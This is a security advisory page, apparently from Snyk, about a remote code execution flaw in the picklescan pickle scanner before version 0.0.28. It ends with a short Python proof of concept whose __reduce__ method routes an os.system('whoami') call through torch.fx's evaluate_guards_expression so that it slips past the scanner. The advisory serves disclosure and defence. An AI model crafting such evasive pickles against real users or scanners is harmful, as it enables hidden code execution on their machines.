Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade picklescan to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient detection in the evaluate_guards_expression function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function during deserialization, which will not be detected as malicious and may therefore be trusted by a user to load unsafely with pickle.
import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes
class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
    def __reduce__(self):
        fake_self = str
        code = "__import__('os').system('whoami')"
        args = []
        return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)